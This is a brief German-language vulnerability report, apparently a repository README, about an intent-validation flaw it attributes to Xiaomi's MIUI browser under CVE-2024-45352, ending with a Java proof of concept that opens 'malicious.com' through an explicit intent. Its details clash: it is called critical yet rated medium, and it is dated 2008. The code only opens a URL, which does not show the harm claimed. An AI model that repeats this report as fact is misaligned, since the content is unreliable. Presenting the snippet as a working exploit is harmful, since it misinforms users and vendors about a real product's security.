xiaomi-cve-2024-45352

Technischer Bericht über eine kritische Xiaomi-Schwachstelle Zusammenfassung der Schwachstelle In Xiaomis Standardbrowser (com.android.browser) auf verschiedenen MIUI-Geräten wurde eine Schwachstelle entdeckt. Die App validiert die über startActivity übergebenen Intents nicht ordnungsgemäß, sodass bösartige Apps beliebige URLs öffnen oder unbeabsichtigte Aktionen ausführen können.

• CVE-ID: CVE-2024-45352
• Komponente
• :com.android.browser
• Schweregrad: Mittel
• Status: An Xiaomi gemeldet (wartet auf Bestätigung)
• Gefunden am: [24. April 2008]

🔥 Proof of Concept (PoC)

1. Erstellen Sie eine einfache bösartige App mit dem folgenden Intent:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.browser", "com.android.browser.BrowserActivity"));
intent.setData(Uri.parse("http://malicious.com"));
startActivity(intent);